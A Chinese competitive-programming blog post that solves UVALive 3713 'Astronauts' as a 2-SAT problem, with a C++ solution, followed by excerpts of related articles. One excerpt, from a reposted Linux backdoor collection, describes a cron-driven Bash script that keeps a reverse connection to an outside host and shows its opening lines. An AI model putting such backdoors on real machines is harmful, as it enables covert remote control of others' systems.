UVAlive3713 Astronauts(2-SAT)

题目链接:http://acm.hust.edu.cn/vjudge/problem/viewProblem.action?id=18511

【思路】

2-SAT。

设分得A或B类任务为1 C类任务为0,考虑互相讨厌的两人:如果年龄阶段相同,则需要满足a!=b,即(a==1 or b==1)=1 && (a==0 or b==0)=1,如果年龄阶段不同,则需要满足ab不同时为C,即(a==1 or b==1)=1。

【代码】

 1 #include<cstdio>
 2 #include<vector>
 3 #include<cstring>
 4 #include<iostream>
 5 #include<algorithm>
 6 using namespace std;
 7
 8
 9 const int maxn = 100000+10;
10
11 struct TwoSAT {
12     int n;
13     vector<int> G[maxn*2];
14     bool mark[maxn*2];
15     int S[maxn*2],c;
16
17     void init(int n) {
18         this->n=n;
19         for(int i=0;i<n*2;i++) G[i].clear();
20         memset(mark,0,sizeof(mark));
21     }
22     void addc(int x,int xval,int y,int yval) {
23         x=x*2+xval;
24         y=y*2+yval;
25         G[x^1].push_back(y);
26         G[y^1].push_back(x);
27     }
28     bool dfs(int x) {
29         if(mark[x^1]) return false;
30         if(mark[x]) return true;
31         mark[x]=true;
32         S[c++]=x;
33         for(int i=0;i<G[x].size();i++)
34             if(!dfs(G[x][i])) return false;
35         return true;
36     }
37     bool solve() {
38         for(int i=0;i<n*2;i+=2)
39             if(!mark[i] && !mark[i+1]) {
40                 c=0;
41                 if(!dfs(i)) {
42                     while(c>0) mark[S[--c]]=false;
43                     if(!dfs(i+1)) return false;
44                 }
45             }
46         return true;
47     }
48 }ts;
49
50 int n,m;
51 int a[maxn];
52
53 int main() {
54     while(scanf("%d%d",&n,&m)==2 && n) {
55         int u,v,x=0;
56         for(int i=0;i<n;i++) scanf("%d",&a[i]),x+=a[i];
57         ts.init(n);
58         for(int i=0;i<m;i++) {
59             scanf("%d%d",&u,&v);
60             u--,v--;
61             int k1=a[u]*n<x? 0:1;
62             int k2=a[v]*n<x? 0:1;
63             if(k1==k2) {
64                 ts.addc(u,1,v,1);
65                 ts.addc(u,0,v,0);
66             }
67             else  ts.addc(u,1,v,1);
68         }
69         if(!ts.solve()) printf("No solution.\n");
70         else
71             for(int i=0;i<n;i++)
72                 if(ts.mark[i*2]) printf("C\n");
73                 else {
74                     if(a[i]*n<x) printf("B\n");
75                     else printf("A\n");
76                 }
77     }
78     return 0;
79 }
时间: 2025-01-20 05:38:13

UVAlive3713 Astronauts(2-SAT)的相关文章

Uva 1391 (LA 3713) Astronauts (2-SAT问题)

今天学了2-SAT问题,就找了这道例题,敲了一下,还好过了. 2-SAT问题应该是把一些布尔变量之间的逻辑关系反映到一个无向图(有时可能是有向图)上来.通过推导的形式在这个有向图里面补边.再通过确定一些变量的值,使所有的变量都能符合题意中逻辑关系.补边方式 即如果Xi = true && Xj = false 不符合题意,那么如果Xi == true ,那么就在 Xi = true 和 Xj = true之间连一条边, 使得当Xi = true 时能马上确定 Xj = true. 在实际操

(2 sat) hdu 1824

Let's go home Time Limit: 10000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submission(s): 1523    Accepted Submission(s): 616 Problem Description 小时候,乡愁是一枚小小的邮票,我在这头,母亲在那头.                        —— 余光中 集训是辛苦的,道路是坎坷的,休息还是

LA 3211 飞机调度(2—SAT)

https://vjudge.net/problem/UVALive-3211 题意: 有n架飞机需要着陆,每架飞机都可以选择“早着陆”和“晚着陆”两种方式之一,且必须选择一种,第i架飞机的早着陆时间为E,晚着陆时间为L,不得在其他时间着陆.你的任务是为这些飞机安排着陆方式,使得整个着陆计划尽量安全.换句话说,如果把所有飞机的实际着陆时间按照从早到晚的顺序排列,相邻两个着陆时间间隔的最小值. 思路: 二分查找最大值P,每次都用2—SAT判断是否可行. 1 #include<iostream>

(2 sat) poj 2723

Get Luffy Out Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 7758   Accepted: 2969 Description Ratish is a young man who always dreams of being a hero. One day his friend Luffy was caught by Pirate Arlong. Ratish set off at once to Arlo

命令说明(混乱版)第一周

命令  bc 是任意精度计算器语言 在linux下当计算器用选项值-i:强制进入交互式模式:-l:定义使用的标准数学库-w:对POSIX bc的扩展给出警告信息:-q:不打印正常的GNU bc环境信息:-v:显示指令版本信息:-h:显示指令的帮助信息.常用运算: 加法- 减法* 乘法/ 除法^ 指数% 余数 cat 链接文件并打印到标准输出设备上 type 用于显示指定命令的类型,判断给出的指令是内部还是外部如果给出的恢复是 XX is a shell builtin 是内建命令-a 显示 指令

POJ 3207 Ikki&#39;s Story IV - Panda&#39;s Trick(2 - sat啊)

题目链接:http://poj.org/problem?id=3207 Description liympanda, one of Ikki's friend, likes playing games with Ikki. Today after minesweeping with Ikki and winning so many times, he is tired of such easy games and wants to play another game with Ikki. liy

UVa 1391 Astronauts (2SAT)

题意:给出一些宇航员他们的年龄,x是他们的平均年龄,其中A任务只能给年龄大于等于x的人,B任务只能给小于x的人,C任务没有限制.再给出m对人,他们不能同任务.现在要你输出一组符合要求的任务安排. 思路:2SAT. 设Ai表示第i个人的任务,如果i的年龄大于等于x,那么Ai=true表示分到A任务,flase表示分到C任务.如果i年龄小于x则Ai=true表示分到B任务,flase表示分到C任务. 考虑对于这m对里的每对人,如果他们是同组的,那么(Ai并非Aj)或(非Ai并Aj)等价于 (非Ai或

[转载]Linux后门整理合集(脉搏推荐)

我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo

[转] Java程序员学C#基本语法两个小时搞定(对比学习)

Java程序员学C#基本语法两个小时搞定(对比学习) 对于学习一门新的语言,关键是学习新语言和以前掌握的语言的区别,但是也不要让以前语言的东西,固定了自己的思维模式,多看一下新的语言的编程思想. 1.引包 using System;java用import2.构造函数和java语法相同3.析构函数  变量和类的对象都有生命周期,生命周期结束,这些变量和对象就要被撤销.  类的对象被撤销时,将自动调用析构函数.一些善后工作可放在析构函数中完成.  析构函数的名字为~类名,无返回类型,也无参数.Per